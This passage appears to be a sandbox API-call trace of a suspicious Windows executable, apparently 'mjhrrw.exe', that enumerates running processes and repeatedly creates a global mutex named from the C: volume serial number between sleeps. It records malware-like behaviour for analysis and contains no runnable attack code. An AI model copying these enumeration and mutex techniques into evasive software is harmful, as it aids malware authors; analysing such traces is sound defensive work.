th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.685] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.710] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.711] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.712] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.713] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0272.724] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0272.725] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0272.725] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0272.726] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.727] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0272.727] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.728] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0272.729] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0272.729] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0272.730] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0272.731] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0272.731] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0272.732] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.733] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0272.734] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.100] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0273.101] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xcb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0273.101] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0273.102] Process32NextW (in: hSnapshot=0x394, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0273.103] CloseHandle (hObject=0x394) returned 1 [0273.103] Sleep (dwMilliseconds=0x1f4) [0274.129] GetProcessHeap () returned 0xc10000 [0274.129] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc368f8 | out: hHeap=0xc10000) returned 1 [0274.129] GetProcessHeap () returned 0xc10000 [0274.129] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc35bd8 | out: hHeap=0xc10000) returned 1 [0274.129] GetProcessHeap () returned 0xc10000 [0274.129] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc285f8 | out: hHeap=0xc10000) returned 1 Thread: id = 54 os_tid = 0xd00 [0210.997] GetVersion () returned 0x23f00206 [0210.997] GetCurrentProcess () returned 0xffffffff [0211.008] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x279feac | out: TokenHandle=0x279feac*=0x240) returned 1 [0211.008] GetTokenInformation (in: TokenHandle=0x240, TokenInformationClass=0x14, TokenInformation=0x279fea4, TokenInformationLength=0x4, ReturnLength=0x279fea8 | out: TokenInformation=0x279fea4, ReturnLength=0x279fea8) returned 1 [0211.008] CloseHandle (hObject=0x240) returned 1 [0211.008] GetProcessHeap () returned 0xc10000 [0211.008] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f100 [0211.008] GetProcessHeap () returned 0xc10000 [0211.008] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f128 [0211.008] GetProcessHeap () returned 0xc10000 [0211.008] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2f150 [0211.008] GetProcessHeap () returned 0xc10000 [0211.008] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc20170 [0211.008] GetProcessHeap () returned 0xc10000 [0211.008] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc20170 | out: hHeap=0xc10000) returned 1 [0211.008] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f128, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0211.009] GetProcessHeap () returned 0xc10000 [0211.009] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f150 | out: hHeap=0xc10000) returned 1 [0211.009] GetProcessHeap () returned 0xc10000 [0211.009] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f100 | out: hHeap=0xc10000) returned 1 [0211.009] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0211.009] GetProcessHeap () returned 0xc10000 [0211.009] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f128 | out: hHeap=0xc10000) returned 1 [0211.009] GetProcessHeap () returned 0xc10000 [0211.009] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xc22428 [0211.009] GetProcessHeap () returned 0xc10000 [0211.009] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xc22350 [0211.009] GetProcessHeap () returned 0xc10000 [0211.009] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xc22350, Size=0x72) returned 0xc1fde0 [0211.009] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0211.009] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x240 [0211.010] WaitForSingleObject (hHandle=0x240, dwMilliseconds=0x0) returned 0x0 [0211.010] GetProcessHeap () returned 0xc10000 [0211.010] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc22428 | out: hHeap=0xc10000) returned 1 [0211.010] GetProcessHeap () returned 0xc10000 [0211.010] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1fde0 | out: hHeap=0xc10000) returned 1 [0211.010] ReleaseMutex (hMutex=0x240) returned 1 [0211.010] CloseHandle (hObject=0x240) returned 1 [0211.010] Sleep (dwMilliseconds=0x3e8) [0212.188] GetProcessHeap () returned 0xc10000 [0212.188] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f1a0 [0212.188] GetProcessHeap () returned 0xc10000 [0212.188] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2f1c8 [0212.188] GetProcessHeap () returned 0xc10000 [0212.188] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ec28 [0212.188] GetProcessHeap () returned 0xc10000 [0212.188] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc1e2b8 [0212.188] GetProcessHeap () returned 0xc10000 [0212.188] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1e2b8 | out: hHeap=0xc10000) returned 1 [0212.188] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2f1c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0212.188] GetProcessHeap () returned 0xc10000 [0212.188] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec28 | out: hHeap=0xc10000) returned 1 [0212.188] GetProcessHeap () returned 0xc10000 [0212.188] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f1a0 | out: hHeap=0xc10000) returned 1 [0212.188] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0212.189] GetProcessHeap () returned 0xc10000 [0212.189] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f1c8 | out: hHeap=0xc10000) returned 1 [0212.189] GetProcessHeap () returned 0xc10000 [0212.189] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4ac8 [0212.189] GetProcessHeap () returned 0xc10000 [0212.189] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4720 [0212.189] GetProcessHeap () returned 0xc10000 [0212.189] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4720, Size=0x72) returned 0xc1f5f0 [0212.189] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0212.189] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x2d4 [0212.189] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x0) returned 0x0 [0212.190] GetProcessHeap () returned 0xc10000 [0212.190] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4ac8 | out: hHeap=0xc10000) returned 1 [0212.190] GetProcessHeap () returned 0xc10000 [0212.190] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1f5f0 | out: hHeap=0xc10000) returned 1 [0212.190] ReleaseMutex (hMutex=0x2d4) returned 1 [0212.190] CloseHandle (hObject=0x2d4) returned 1 [0212.190] Sleep (dwMilliseconds=0x3e8) [0213.402] GetProcessHeap () returned 0xc10000 [0213.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed40 [0213.402] GetProcessHeap () returned 0xc10000 [0213.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eae8 [0213.402] GetProcessHeap () returned 0xc10000 [0213.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eb88 [0213.402] GetProcessHeap () returned 0xc10000 [0213.402] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc52020 [0213.402] GetProcessHeap () returned 0xc10000 [0213.402] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc52020 | out: hHeap=0xc10000) returned 1 [0213.402] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eae8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0213.402] GetProcessHeap () returned 0xc10000 [0213.402] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0213.402] GetProcessHeap () returned 0xc10000 [0213.402] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed40 | out: hHeap=0xc10000) returned 1 [0213.402] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0213.678] GetProcessHeap () returned 0xc10000 [0213.678] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eae8 | out: hHeap=0xc10000) returned 1 [0213.678] GetProcessHeap () returned 0xc10000 [0213.678] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4960 [0213.679] GetProcessHeap () returned 0xc10000 [0213.679] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca49a8 [0213.679] GetProcessHeap () returned 0xc10000 [0213.679] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca49a8, Size=0x72) returned 0xc1fde0 [0213.679] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0213.679] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x344 [0213.679] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0x0) returned 0x0 [0213.679] GetProcessHeap () returned 0xc10000 [0213.679] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4960 | out: hHeap=0xc10000) returned 1 [0213.679] GetProcessHeap () returned 0xc10000 [0213.679] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc1fde0 | out: hHeap=0xc10000) returned 1 [0213.679] ReleaseMutex (hMutex=0x344) returned 1 [0213.679] CloseHandle (hObject=0x344) returned 1 [0213.679] Sleep (dwMilliseconds=0x3e8) [0214.953] GetProcessHeap () returned 0xc10000 [0214.953] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ee80 [0214.953] GetProcessHeap () returned 0xc10000 [0214.953] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ec00 [0214.953] GetProcessHeap () returned 0xc10000 [0214.953] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eb38 [0214.953] GetProcessHeap () returned 0xc10000 [0214.953] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0xc52020 [0214.953] GetProcessHeap () returned 0xc10000 [0214.953] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc52020 | out: hHeap=0xc10000) returned 1 [0214.953] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ec00, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0214.954] GetProcessHeap () returned 0xc10000 [0214.954] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb38 | out: hHeap=0xc10000) returned 1 [0214.954] GetProcessHeap () returned 0xc10000 [0214.954] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee80 | out: hHeap=0xc10000) returned 1 [0214.954] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0214.954] GetProcessHeap () returned 0xc10000 [0214.954] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec00 | out: hHeap=0xc10000) returned 1 [0214.954] GetProcessHeap () returned 0xc10000 [0214.954] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4840 [0214.954] GetProcessHeap () returned 0xc10000 [0214.954] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4960 [0214.954] GetProcessHeap () returned 0xc10000 [0214.954] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4960, Size=0x72) returned 0x33d2ec8 [0214.954] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0214.955] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x364 [0214.955] WaitForSingleObject (hHandle=0x364, dwMilliseconds=0x0) returned 0x0 [0214.955] GetProcessHeap () returned 0xc10000 [0214.955] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4840 | out: hHeap=0xc10000) returned 1 [0214.955] GetProcessHeap () returned 0xc10000 [0214.955] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2ec8 | out: hHeap=0xc10000) returned 1 [0214.955] ReleaseMutex (hMutex=0x364) returned 1 [0214.955] CloseHandle (hObject=0x364) returned 1 [0214.955] Sleep (dwMilliseconds=0x3e8) [0216.123] GetProcessHeap () returned 0xc10000 [0216.123] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ec00 [0216.123] GetProcessHeap () returned 0xc10000 [0216.123] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ec78 [0216.123] GetProcessHeap () returned 0xc10000 [0216.123] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eea8 [0216.123] GetProcessHeap () returned 0xc10000 [0216.123] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900378 [0216.124] GetProcessHeap () returned 0xc10000 [0216.124] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900378 | out: hHeap=0xc10000) returned 1 [0216.124] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ec78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0216.124] GetProcessHeap () returned 0xc10000 [0216.124] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eea8 | out: hHeap=0xc10000) returned 1 [0216.124] GetProcessHeap () returned 0xc10000 [0216.124] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec00 | out: hHeap=0xc10000) returned 1 [0216.124] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0216.125] GetProcessHeap () returned 0xc10000 [0216.125] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec78 | out: hHeap=0xc10000) returned 1 [0216.125] GetProcessHeap () returned 0xc10000 [0216.125] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4888 [0216.125] GetProcessHeap () returned 0xc10000 [0216.125] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4b58 [0216.125] GetProcessHeap () returned 0xc10000 [0216.125] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4b58, Size=0x72) returned 0x33d21c8 [0216.125] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0216.125] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x370 [0216.125] WaitForSingleObject (hHandle=0x370, dwMilliseconds=0x0) returned 0x0 [0216.125] GetProcessHeap () returned 0xc10000 [0216.125] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4888 | out: hHeap=0xc10000) returned 1 [0216.125] GetProcessHeap () returned 0xc10000 [0216.125] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d21c8 | out: hHeap=0xc10000) returned 1 [0216.125] ReleaseMutex (hMutex=0x370) returned 1 [0216.125] CloseHandle (hObject=0x370) returned 1 [0216.125] Sleep (dwMilliseconds=0x3e8) [0217.280] GetProcessHeap () returned 0xc10000 [0217.280] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eac0 [0217.281] GetProcessHeap () returned 0xc10000 [0217.281] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eef8 [0217.281] GetProcessHeap () returned 0xc10000 [0217.281] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eea8 [0217.281] GetProcessHeap () returned 0xc10000 [0217.281] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900708 [0217.281] GetProcessHeap () returned 0xc10000 [0217.281] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900708 | out: hHeap=0xc10000) returned 1 [0217.281] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eef8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0217.281] GetProcessHeap () returned 0xc10000 [0217.281] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eea8 | out: hHeap=0xc10000) returned 1 [0217.281] GetProcessHeap () returned 0xc10000 [0217.281] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eac0 | out: hHeap=0xc10000) returned 1 [0217.281] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0217.282] GetProcessHeap () returned 0xc10000 [0217.282] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eef8 | out: hHeap=0xc10000) returned 1 [0217.282] GetProcessHeap () returned 0xc10000 [0217.282] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4be8 [0217.282] GetProcessHeap () returned 0xc10000 [0217.282] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4d08 [0217.282] GetProcessHeap () returned 0xc10000 [0217.282] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4d08, Size=0x72) returned 0x33d2ec8 [0217.282] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0217.282] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x318 [0217.282] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x0) returned 0x0 [0217.282] GetProcessHeap () returned 0xc10000 [0217.282] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4be8 | out: hHeap=0xc10000) returned 1 [0217.282] GetProcessHeap () returned 0xc10000 [0217.282] HeapFree (in: 